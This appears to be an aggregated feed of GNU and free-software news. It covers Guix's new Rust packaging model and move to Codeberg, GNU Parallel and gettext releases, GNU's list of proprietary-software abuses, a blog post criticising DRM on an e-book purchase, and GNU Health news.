BOSTON, Massachusetts, USA (Tuesday, May 19, 2026) — The Free Software Foundation (FSF) reports that its global call for free software supporters to organize LibreLocals this May resulted in free software supporters organizing forty-six LibreLocal events on six continents thus far. New dates and locations are being added daily.
This free software licensing 101 talk is intended to cover as many details as possible involving the subject of free software licensing. The talk is broad in scope and is geared toward the beginner and intermediate audience.
If you've ever struggled with Rust packaging, here's some good news!
We have changed to a simplified Rust packaging model that is easier to automateand allows for modification, replacement and deletion of dependencies at thesame time. The new model will significantly reduce our Rust packaging time andwill help us to improve both package availability and quality.
Those changes are currently on the rust-team branch, slated to be merged inthe coming weeks.
How good is the news? Migration of our current Rust package collection, 150+applications with 3600+ dependency libraries, only took two weeks, all by oneperson! :)
See #387, if you want to track thecurrent progress and give feedback. I'll request merging the rust-team branchwhen the pull request is merged. After merging the branch, a news entry will beissued for guix pull.
Upcoming changesThe previous packaging model for Rust in Guix would map one crate (Rust package)to one Guix package. This seemed to make sense but there's a fundamentalmismatch here: while Guix packages—from applications like GIMP and Inkscape to Clibraries like GnuTLS and Nettle—are meant to be compiled independently, Rustapplications are meant to be compiled as a single unit together with all thecrates they depend on, recursively. That mismatch meant that Guix would buildeach crate independently, but that build output was of no use at all.
The new model instead focuses on definingoriginsfor crates, with actual builds happening only on the "leaves" of the graph—Rustapplications. This is a major change with many implications, as we will seebelow.
Importer
guix import cratewill support importing from Cargo.lock using the new --lockfile / -foption.
guix import --insert=gnu/packages/rust-crates.scm \ crate --lockfile=/path/to/Cargo.lock PACKAGEguix import -i gnu/packages/rust-crates.scm \ crate -f /path/to/Cargo.lock PACKAGE
To avoid conflicts with the new lockfile importer, thecrates.io importer will be altered so it will nolonger support importing dependencies.
A new procedure, cargo-inputs-from-lockfile, will be added for use in theguix.scmof Rust projects. Note that Cargo workspaces in dependencies require manualintervention and are therefore not handled by this procedure.
cargo-build-sytemwill support directory inputs and Cargo workspaces.
Build phase check-for-pregenerated-files will scan all unpacked sourcesand print out non-empty binary files.
We won't accept contributions using the old packaging approach(#:cargo-inputs and #:cargo-development-inputs) anymore. Its support isdeprecated and will be removed after Dec. 31, 2026.
3. Packages
Rust libraries will be stored in two new modules and will be hidden from theuser interface:
* `(gnu packages rust-sources)`
Rust libraries that require a build process or complex modificationinvolving external dependencies to unbundle dependencies.
* `(gnu packages rust-crates)`
Rust libraries imported using the lockfile importer. This moduleexports a `lookup-cargo-inputs` interface, providing an identifier ->libraries mapping.
Libraries defined in this module can be modified via snippets andpatches,replaced by changing their definitions to point to other variables, orremoved by changing their definitions to `#f`. The importer will skipexisting libraries to avoid overwriting modifications.
A template file for this module will be provided as`etc/teams/rust/rust-crates.tmpl` in Guix source tree, for use in externalchannels.All other libraries (those currently in `(gnu packages crates-...)`) **willbe moved to an external channel**. If you have packages depending on them,please add thischannel and useits `(past-crates packages crates-io)` module to avoid possible breakage. Oncemerged, you can migrate your packages and safely remove the channel.
API references forcargo-build-sytemand packaging guidelines for Rustcrateswill be updated. A packaging workflow built upon the new features will beadded under the Packagingchapter of GuixCookbook.
BackgroundCurrently, our Rust packaging uses the traditional approach, treating eachapplication and library equally.
This brings issues. Firstly on packaging and maintenance, due to the largenumber of libraries with limited people working on it, plus we can't reuse thosepackaged libraries so instead of the built libraries, their sources areextracted and used in the build process. As a result, the packaging experienceis not very smooth, although the crates.io importer has helped mitigate this tosome extent.
Secondly on the user interface, thousands of Rust libraries that can't be usedby the user appear in the search result. Documentation can't be taken good careof for all these packages as well, understandably.
Lastly, the inconsistency in the packaging interface. Our dependency modelcannot perfectly map to Rust's, and circular dependencies are possible. Tosolve this, build system arguments #:cargo-inputs and#:cargo-development-inputs were introduced and used for specifying Rustlibraries, instead of the regular propagated-inputs and native-inputs.Additionally, inputs propagation logic had to be reimplemented for them, whichresulted in additional performance overhead.
Approaches have been proposed to improve the situation, notably theantioxidant buildsystem developed by Maxime Devos, and thecargo2guix tool developed by Murilo andLuis Guilherme Coelho:
Antioxidant
The antioxidant build system builds Rust packages without Cargo, instead thebuild process is fully managed by Guix by invoking rustc directly.
This build system would allow Guix to produce and share build artifacts forRust libraries. It's a step towards making our work on the current approachmore reasonable.
However there's a downside. Since this is not what the Rust communityexpects, we'd also have to heavily patch many Rust packages, which wouldmake it even harder for us to move forward.
2. cargo2guix
This tool parses Cargo.lock and outputs package definitions. It's morereliable than the crates.io importer, since dependencies are already knownoffline. It should be the most efficient improvement for the currentapproach. The upcoming importer update integrates a modified version ofthis tool.
Murilo also proposes to package Rust applications in self-contained modules,each module containing a Rust application with all its dependencies, inorder to reduce merge conflicts. However, one same library will be definedin multiple modules, duplicating the effort to check and manage them.
3. Let Cargo download dependencies
This is the "vendoring" approach, used in some distributions and can beimplemented as a fixed-output derivation.
We don't use this approach since the dependency information is completelyhidden from us. We can't locate a library easily when we want to modify orreplace it. If we made a mistake on checking dependencies, it could be verydifficult to find out later.
Another downside is that downloading of a single library can't bededuplicated. Since we use an isolated build environment, commonly usedlibraries will be downloaded repeatedly, despite already available in thestore.
After reading the recentdiscussion,I thought about these existing approaches in the hope of finding one that doesonly the minimum necessary: since users can't use our packaged libraries,there's no reason to insist on the traditional approach -> libraries can behidden from the user interface -> user-facing documentations are not needed ->since metadata is not used at this stage, why bother defining apackagefor the library?
Actually cargo2guix is more suitable for importing sources rather than packages,as it has issues handling licenses, and Cargo.lock only contains enoughinformation to construct the sourcerepresentationin Guix, which has support for simple patching.
Since the vendoring approach exists, packaging all Rust libraries as sourcesonly has been proven effective. However, we'll lose important information inour representation when switching from packages to sources: license anddependency. Thanks to the awesomecargo-license tool, only the latterrequired further consideration.
The implementation has been changed a few times in the review process, but theidea remains: make automation and manual intervention coexist. As a result, theimporter:
outputs definitions with full versions.
skips existing definitions.
maintains an identifier -> libraries mapping, along with an accessinginterface that handles modifications made to the libraries.
Despite proposing it, I was a bit worried about the mapping, which referencesall dependency libraries directly, but the result went quite well: with compactsource definitions, we reduced 153k lines of definitions for Rust libraries to42k after this migration.
Imported libraries, these are what the importer creates:
(define (my-cargo-inputs name) (cargo-inputs name #:module '(my packages rust-crates)))(my-cargo-inputs ...)
Since we have all the dependency information, unpacking any libraries we want toa directory and then running more common tools to check them is possible (somescripts are provided under etc/teams/rust, yet to be rewritten in Guile).You're encouraged to share yours and check the libraries after the merge, andhelp improve the collection ;)
Next stepsOne issue for this model is that all libraries are stored and referenced in onemodule, making merge conflicts harder to resolve.
I'm considering creating a separate repository to manage this module. Wheneverthere's a change, it will be applied into this repository first and then syncedback to Guix.
We can also store dependency specifications and lockfiles in that separaterepository to make the packaging process, which may require changing thespecifications, more transparent. This may also allow automation in updatingdependency libraries.
The initial injustice of proprietary software often leads to further injustices: malicious functionalities.
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
Here are our latest additionsMay 2025Malware in Appliances
Synology forces users to install self-branded hard drives in some of its recent NAS systems on pretext of reliability, by blocking critical functions of drives that were purchased from other sources, and cutting down on support. Synology does this by replacing the original firmware with custom firmware that acts like DRM.
When connected to the internet, some Brother printers suffer a firmware downgrade that degrades the printing quality when using third-party toner. This proves that these printers have a back door which lets Brother control them.
As a general precaution, users should make sure their printer can't connect to the manufacturer's server, for example by shielding it from the internet by a firewall. This will not restore the ability of printers to use third-party toner if they have already lost it, but will prevent any future downgrades. All printer manufacturers are concerned, not only Brother.
Microsoft's Software is Malware
With Windows 10 soon reaching obsolescence, users whose computer is not modern enough are facing unjust choices, such as paying for updates or buying a new computer. But their best option is to replace Windows with a free operating system, and enjoy the freedom and justice it brings them.
Microsoft is tightening the chains that force Windows useds to sign into their Microsoft account [*], thus identifying themselves. We suspect this is an intentional strategy to avoid inspiring a lot of resistance all at once: leave openings to escape identification, then gradually close them.
Enough is enough!
[*] Why “useds”? Because running Windows is not you using Windows; it is Windows using you.
Microsoft Teams has been collecting voice and face data from students of an Australian school, to feed the CoPilot chatbot. It took the school network administrators a whole month to realize what was happening, and disable this malfeature. It was obviously beyond their imagination that Microsoft could have made biometric data collection the default in Teams!
Let's hope legislators and regulatory agencies all over the world will quickly put a stop to this sort of outrageous practice.
In any case people would be better off switching to a free-software replacement such as Jitsi Meet for medium-size groups, or Big Blue Button for larger ones. Many public instances are available, and groups of users can also set up their own servers.
Apple's Operating Systems Are Malware
Apple has been labeling various third-party files and programs as “damaged”, preventing users from opening them, and implying that software from third-party sources is dangerous. While these restrictions can be circumvented, they violate users' freedom to do their computing as they wish. Most of the time, the purpose of warnings such as “damaged” is to scare users into sticking with Apple's proprietary programs for no good reason.
Amazon's Software Is Malware
Amazon has removed the “Do Not Send Voice Recordings” option from Echo devices, including from devices that support local processing of these recordings. All private conversations are now used to train Alexa's “artificial intelligence.” Moreover, if users choose not to save recordings, they will lose some advanced functions of Alexa that they paid for.
This wouldn't happen if software in the Echo were free. Users would be able to restore the “Do Not Send Voice Recordings” option.
Malware in Mobile Devices
BeReal, a nonfree social media app, pressures users into giving their consent to tracking by means of dark patterns and harrassment.
Malware in Games
Nintendo has been known to remotely brick the Wii until users consented to new, more restrictive legal terms. This company is now pushing tyranny even further: in the 2025 update of its User Account Agreement, it warns that Switch consoles may be permanently bricked if they are not used as authorized.
In addition, Nintendo can record audio and video chats for moderation purposes. User's consent is required, but there is no guarantee that the recordings will not be sent to third parties. In short, there is no privacy in these chats.
If you ever consider buying a Switch, think twice, because you will not own it. Nintendo will.
The 1st prize of the German young scientists competition, in the category mathematics + computer science, of this year was awarded to Simon Neuenhausen for writing an open-source firmware for the wifi of the ESP32 SoC. It replaces the closed-source wifi driver.
Project description (in German): https://www.jugend-forscht.de/virtuelle-ausstellung/detailseite/Open_Source_WLAN_auf_dem_ESP32.html
The usual tool for optimizing a program's execution speed is a profiler.
I've seen and tried various profilers over the years, and each of them had some drawbacks: Some of them require root privileges, some of them produce only a per-function profiling (no insights of what is expensive inside a function), some of them work only on unoptimized or specially compiled binaries, some of them are very slow during the program execution.
For the first time, there is a profiler without any these drawbacks. Plus, it is easy to use.
It is gprofng, part of the GNU binutils, in versions from 2025-05-22 or newer. Together with the gprofng-gui, an optional GUI that makes it very easy to use.
For more details, see this wiki: https://gitlab.com/ghwiki/gnow-how/-/wikis/Profiling/with_sampling.
Congratulations to the GNU binutils team, and to Vladimir Mezentsev in particular!
GNUnet 0.24.2 This is a bugfix release for gnunet 0.24.0.It fixes some regressions and minor bugs.
Links * Source: https://ftpmirror.gnu.org/gnunet/gnunet-0.24.2.tar.gz ( https://ftpmirror.gnu.org/gnunet/gnunet-0.24.2.tar.gz.sig )
* Detailed list of changes: https://git.gnunet.org/gnunet.git/log/?h=v0.24.2
* NEWS: https://git.gnunet.org/gnunet.git/tree/NEWS?h=v0.24.2
* The list of closed issues in the bug tracker: https://bugs.gnunet.org/changelog_page.php?version_id=465
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try https://ftp.gnu.org/gnu/gnunet/
GNU Parallel 20250522 ('Leif Tange') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
gnu parallel is my new favorite toy
-- Eytan Adar @eytan.adar.prof
New in this release:
No new features. This is a candidate for a stable release.
Bug fixes and man page updates.
News about GNU Parallel:
Parallel CI Jobs with GNU Parallel https://medium.com/@eren.c.uysal/parallel-ci-jobs-with-gnu-parallel-cda718af9975
Examples for PBS and SLURM https://github.com/clemsonciti/palmetto-examples/tree/master/GNU-Parallel
screen and parallel https://www.cs.tufts.edu/comp/21/notes/gnuparallel_screen/Parallel_Jared_Chandler_4_10_2025.pdf
TLDR for GNU Parallel https://linuxcommandlibrary.com/man/parallel
Faster and More Reliable Hugging Face Downloads Using aria2 and GNU Parallel https://dev.to/susumuota/faster-and-more-reliable-hugging-face-downloads-using-aria2-and-gnu-parallel-4f2b
Want to speed up your bioinformatics tasks? Stop looping. Start paralleling. Here’s how to use GNU parallel like a pro https://www.threads.com/@tommy585/post/DIgnUXkRvSY/want-to-speed-up-your-bioinformatics-tasks-stop-looping-start-paralleling-heres
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
GNU Parallel 20250422 ('Tariffs') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
Man, GNU Parallel is very cool.
-- jeeger @jeeger@mastodon.social
New in this release:
No new features. This is a candidate for a stable release.
Bug fixes and man page updates.
News about GNU Parallel:
GNU Parallel https://www.tunbury.org/gnu-parallel/
Understanding and Fixing Race Conditions in Bash Scripts with flock and GNU Parallel https://www.devgem.io/posts/understanding-and-fixing-race-conditions-in-bash-scripts-with-flock-and-gnu-parallel
Gnu parallel basic usage https://freddieventura.github.io/2024/09/29/gnu-parallel-basics.html
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
Last month I watched the book talk Music Copyright, Creativity,and Culture by Jennifer Jenkins with James Boyle facilitatingthe discussion, co-hosted by the Internet Archive and the AuthorsAlliance:
MusicCopyright, Creativity, and Culture - Jennifer JenkinsLooking to get a copy of the book, I found the book’s page on thepublisher’s website, Oxford University Press. Seeing it available asan e-book, I opted to go with that as a more eco-friendly option andto save some physical space. I worked my way through the checkout andpayment steps, under the impression that I would be purchasing a copyof the book that I could download and do with as I wished. The useof the words “buy” and “purchase” throughout the book page on thepublisher’s website certainly did not suggest otherwise.
In hindsight, there were red flags I failed to notice at the time,such as confusing and seemingly redundant, if not contradictory,information on the book page:
“Downloaded copy on your device does not expire.”
Um, okay? I’d sure hope and expect as much about any file I download.
“Includes 4 years of Bookshelf Online.”
Whatever — as long as I could download, store, and use the bookoffline I’d be happy.
It’s only upon hovering the small and generic, if not misleading,“E-book purchasing help” link that one would be presented with thisvaguely informative eyebrow-raising sentence:
E-book purchase
E-books are granted under the terms of a single-user,non-transferable license, and may be accessed online from anylocation.
“E-books are granted” (??) is news to me. I thought I would haverightful access to something I bought and paid for, rather than being“granted” (read “allowed”) access to it by and through some overlord.Oh but of course, we live in a time where vendors get to redefinewell-established words like “purchase” and “buy” on page N of theirterms and conditions.
I obviously did not see that “E-book purchasing help” before givingOxford University Press my money: being a tech-savvy person, I didn’tthink I needed any help “purchasing” an e-book.
Everything became clear shortly after I completed the “purchase” andwas redirected to VitalSource to access the book: the VitalSource“Bookshelf” user interface offered no way to download a copy of thebook I thought I bought and paid for. It is instead a glorified pileof proprietary JavaScript DRM (Digital Restrictions Management)that wraps around the underlying representation of the book inVitalSource’s possession. The only other option for accessing thebook would be through VitalSource’s proprietary application availableonly for certain versions of certain proprietary operating systems.
At this point, the only method I could think of to try and obtain acopy of the book that I could read without subjecting myself to theshackles of DRM or proprietary software was trying to print thebook to PDF. Given that VitalSource’s DRM interface is a proprietarywrapper around VitalSource’s likely ePub-based underlyingrepresentation (guessing from the presence of epubcfi in the URL oftheir book renderer page), the book pages are not exposed all at once,practically forcing one to use the interface’s Print function to getall the pages in one go. After waiting what felt like an eternityfor the website to prepare a printable version of the book, I waspresented with this abomination (click image for sample in originalPDF form):
That is a sample of the output generated by the interface’s Printfunction: an utterly useless, inferior copy of the book that has giantwatermarks on every single page, with the only selectable text inthe whole book being the repugnant threat at the top of each page —the actual body text of the book is converted to low-resolution,blurry images, and is therefore neither selectable nor searchable.
Going forward, I will NEVER “purchase” anything from OxfordUniversity Press (and most definitely not from VitalSource), so longas they have no problem “selling” [access to] DRM-infested copies ofbooks with no way to download a usable copy of what I paid for.
The key takeaway for me from this whole experience is that due to thesad and sorry status quo of our current times, this kind of insulting(mal)treatment of users is all but common, and really can happen toany one of us. Therefore it is all the more important for us to bandtogether in protest of this, rather than dividing and isolatingourselves through misguided better-than-thou sentiments towardeach other.
For Music Copyright, Creativity, and Culture, I ordered and a few dayslater received a paper copy from the local bookstore. It’s a copyI truly own, and can read whenever, wherever, and however I please.
Take care, and so long for now.
References and related links:
Terms and Conditions - Oxford University Press(saved PDF copy as of 2025-08-18)
How do I download or print a PDF copy of my book? - VitalSource(spoiler: you can’t)
VitalSource “Lifetime” false advertising - Consumer Rights Wiki
The decline of ownership - Louis Rossmann
Does California enforce its laws? HELP ME FIND OUT! - LouisRossmann
Suriname has adopted GNU Health Hospital and Health Information System for their Public Healthcare system.
The adoption of GNU Health was announced during the press release celebrated last Friday, May 9th in Paramaribo, in the context of the country healthcare digitization campaign. They defined GNU Health as “An open source system that is both accessible and scalable”1. During the event, the Suriname Patient Portal and My Health App were also announced.
Press release. From left to right: Prof. Dr Jerry Toelsie, Minister Amar Ramadhin, Dr Aloysius Koendjbihari and Mr. Richard MendesThe Minister of Health, Dr. Amar Ramadhin, made emphasis on the benefits of this digital transformation. “We move away from paper files and work towards greater efficiency and patient-oriented care experience”.
Digitization is supported by the IS4HIT Information Systems for Health Information Technology) program, an initiative of the Pan-American Health Organisation (PAHO), whose delegates where at the conference, together with local health professionals.
The GNU Health Hospital and Health Information System – from the socioeconomic determinants of health to the molecular basis of diseaseThe GNU Health rollout will be done in phases throughout the different public health centers, starting at the Regional Service Centers (RGDs). The main focus is on Primary Care. Some of the tasks in the initial phase will be demographics, patient management, appointments, medical encounters, prescriptions, complementary tests orders and reporting. Training sessions to the local health professionals and technical team are being conducted, as well as the localization to Suriname.
Minister Ramadhin declared: “[Healthcare] Digitization is not an end in itself but a powerful means to make care more human-oriented, safer and more efficient.” . That’s where GNU Health fits right in. The Hospital and Health Information System of GNU Health has Social Medicine and primary care at its core. It excels in health promotion and disease prevention. When properly implemented and used, GNU Health is way more than just an Electronic Medical Record or a Hospital Management Information System. It empowers health professionals to assess the socioeconomic determinants of health and disease, taking a proactive approach to prevent and tackle the root of the diseases at individual, family and society level. The world is facing a pandemic of non-transmissible diseases. Obesity, diabetes, depression, cancer and neurodegenerative conditions are on the rise, with a appalling impact on the underprivileged. GNU Health will be a great ally for nurses, physicians, nutritionists and social workers of Suriname to find and engage those at higher risk. in the community.
The fact that GNU Health is Free/Libre software allows Suriname to download, study the system and adapt it to their needs and legislation, free of any kind of vendor lock-in. After all, health is -or it should be- a non-negotiable human right.
GNU Health is now part of Suriname to deliver a sustainable, interoperable, standard-based, privacy oriented, scalable digital healthcare solution for the country public health system.
A Digital Public Good. In 2022 GNU Health was declared a Digital Public Good by the Digital Public Goods Alliance (DPGA). By definition, a Digital Public Good is open-source software, open data, open AI models, open standards, and open content that adhere to privacy and other applicable best practices, do no harm by design and are of high relevance for attainment of the United Nations 2030 Sustainable Development Goals (SDGs). This definition stems from the UN Secretary-General’s Roadmap for Digital Cooperation.
We are very proud and excited to see GNU Health deployed in Suriname national public health system and wish them the very best embracing the system as we envision it, a social project with some technology behind.
About GNU HealthGNU Health is an open science, community driven project from GNU Solidario, a non-profit humanitarian organization focused on Social Medicine. Our project has been adopted by public hospitals, research and academic institutions, governments and multilateral organizations around the world.
GNU Health is a GNU official package, awarded with the Free Software Foundation award of Social benefit and declared a Digital Public Good.
The Guix project will be migrating all its repositories along with bugtracking and patch tracking to Codeberg within amonth. This decision is the result of a collective consensus-buildingprocess that lasted several months. This post shows the upcomingmilestones in that migration and discusses what it will change forpeople using Guix and for contributors.
ContextFor those who haven’t heard about it, Codeberg is a source codecollaboration platform. It is run by Codeberge.V.,a non-profit registered in Germany. The software behind Codeberg isForgejo, a free software forge (licensed underGPLv3) supporting the “merge request” style of workflow familiar to manydevelopers.
Since its inception, Guix has been hosting its source code onSavannah, with bug reports andpatches handled by email, tracked by a Debbugsinstance, and visible on the project’stracker. Debbugs and Savannah are hostedby the Free Software Foundation (FSF); all three services areadministered by volunteers who have been supportive over these 13years—thanks!
The motivation and the main parts of the migration are laid out in thesecond Guix ConsensusDocument(GCD). The GCD process itself was adopted just a few months ago; it’s amajor milestone for the project that we’ll discuss in more detail in afuture post. Suffice to say that this GCD was discussed and improvedpublicly for two months, after whichdeliberation among members of Guixteams led toacceptance.
MilestonesMigration to Codeberg will happen gradually. To summarize the GCD, thekey milestones are the following:
By June 7th, and probably earlier, Gitrepositories will allhave migrated to Codeberg—some havealready moved.
On May 25th, the Guix repository itself will be migrated.
From there on and until at least May 25th, 2026,https://git.savannah.gnu.org/git/guix.git will be a mirror ofhttps://codeberg.org/guix/guix.git.
Until December 31st, 2025, bug reports and patches will still beaccepted by email, in addition to Codeberg (issues and pullrequests).
Of course, this is just the beginning. Our hope is that the move canhelp improve much needed tooling such as the QAinfrastructure following work onForgejo/Cuirassintegrationstarted earlier this year, and possibly develop new tools and servicesto assist in the maintenance of this huge package collection that Guixprovides.
What this will change for youAs a user, the main change is that your channels.scm configurationfiles,if their refer to the git.savannah.gnu.org URL, should be changed torefer to https://codeberg.org/guix/guix.git once migration iscomplete. But don’t worry: guix pull will tell you if/when you needto update your config files and the old URL will remain a mirror for atleast a year anyway.
Also, channel files produced by guix describe to pin Guix to aspecific revision and to re-deploy it later anytime withtime-machinewill always work, even if they refer to the git.savannah.gnu.org URL,and even when that repository eventually vanishes, thanks to automaticfallback to SoftwareHeritage.
As a contributor, nothing changes for bug reports and patches that youalready submitted by email: just keep going!
Once the Guix repository has migrated though, you’ll be able to reportbugs at Codeberg and create pull requests for changes. The latter isa relief for many—no need to fiddle with admittedly intricate emailsetups and procedures—but also a pain point for those who had come tomaster and appreciate the email workflow.
For this reason, the “User Interfaces” section of the GCD describes theoptions available besides the Web interface—command-line and Emacsinterfaces in particular. Some are still work-in-progress, but it’sexciting to see, for example, that over the past few months manyimprovements landed in fj.eland that a Forgejo-capable branch ofMagit-Forge sawthe light. Check it out!
A concern brought up during the discussion is that of having to createan account on Codeberg to be able to contribute—sometimes seen as ahindrance compared to the open-for-all and distributed nature ofcooperation by email. This remains an open issue, though hopefully onethat will become less acute as support for federation inForgejodevelops. In the meantime, as the GCD states, occasional bug reportsand patches sent by email to guix-devel will be accepted.
Moving forwardThis was an summary of what is to come; check out theGCDfor more info, and reach out to the guix-devel mailinglist if you have any questions!
Real work begins now. We hope the migration to Codeberg will be smoothand enjoyable for all. For one thing, it already proved our ability tocollectively decide on the project’s future, which is no small feat.There’s a lot to expect from the move in improving the project’s abilityto work flawlessly at this scale—more than 100 code contributors and2,000 commits each month, and more than 33,000 packages available inGuix proper. Let’s make the best of it, and until then, happy hacking!
Download from https://ftp.gnu.org/pub/gnu/gettext/gettext-0.24.1.tar.gz
New in this release:
Bug fixes:
Fix bad interactions between autoreconf and autopoint.
xgettext: Creating the POT file of a package under Git version control is now faster. Also, the use of Git can be turned off by specifying the option --no-git.
The initial injustice of proprietary software often leads to further injustices: malicious functionalities.
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
Here are our latest additionsApril 2025Malware in Games
Nintendo has devoted a lot of effort to preventing users from installing third-party software on its Switch consoles. These are now full-blown jails.
Malware in Appliances
The company making a “smart” bassinet called Snoo has locked the most advanced functionalities of the Snoo behind a paywall. This unexpected change mainly affects users who received the appliance as a gift, or bought it second-hand on the assumption that all these functionalities would be available to them, as they used to be. This is another example of the deceptive behavior of proprietary software developers who take advantage of their power over users to change rules at will.
Another malicious feature of the Snoo is the fact that users need to create an account with the company, which thus has access to personal data, location (SSID), appliance log, etc., as well as manual notes about baby history.
We are very happy to announce that the upcoming version of GNU Health Hospital Information System has entered feature-complete alpha stage. This upcoming version of GNU Health HIS 5.0 supposes over a year of work and is the largest release in terms of functionality and refactoring.
GNU Health HIS 5.0 is expected to be released by the end of June.
This new release comes after over a year of development to deliver state-of-the-art libre technology and user experience. In a nutshell:
Tryton 7.0 LTS support
New functionality for patient procedures and medical interventions
Improved reporting and analytics
Enhanced the Laboratory Information System (GNU LIMS – Occhiolino)
New features on patient obstetric history and pregnancy related evaluations
Improved ergonomics and views on demographics and patient related information.
Improved medical genetics and family history taking. Update to the latest genes, proteins and natural variants datasets from UniProt and HUGO
Enhanced socoeconomic and family functionalty assessment
Extensively revised Medical Imaging, DICOM worklists and Orthanc packages
Reorganize nursing and ambulatory care packages
Enhanced patient body composition and anthropometrics
Enhanced “Focus on” patient section, including automated settings and mental health
New insurance and billing features for medical interventions and insurance plans.
Improved patient safety and allergic conditions checks and prescription writing
On the technical side we have worked on:
Migration to Python Poetry and pyproject.toml from setuptools
Increased modularity and minimize dependencies among packages
Simplified installation and administration (Virtual machine images, pip, ansible)
Improved stability using virtual environment in the installation
Over 30 localization and language teams at Codeberg.
At this point, our focus in on testing, translation, packaging and documentation. In the coming days we’ll migrate our community server so we can all test the upcoming version.
For those of you on GNU Health 4.4, please start thinking on the migration project to GH HIS 5.0. This new version is a major leap that delivers many benefits, so we highly encourage you to upgrade. As always, the migration methods and tools are included.
We’d like to invite you to translate GNU Health at Codeberg weblate translation instance and to report any issues you may find during this period.
Don’t forget to follow us in Mastodon (https://mastodon.social/@gnuhealth) to get the latest on this and other GNU Health news!
Stay tuned and happy hacking!
About GNU HealthGNU Health is a Libre, community driven project from GNU Solidario, a non-profit humanitarian organization focused on Social Medicine. Our project has been adopted by public and private health institutions and laboratories, multilateral organizations and national public health systems around the world.
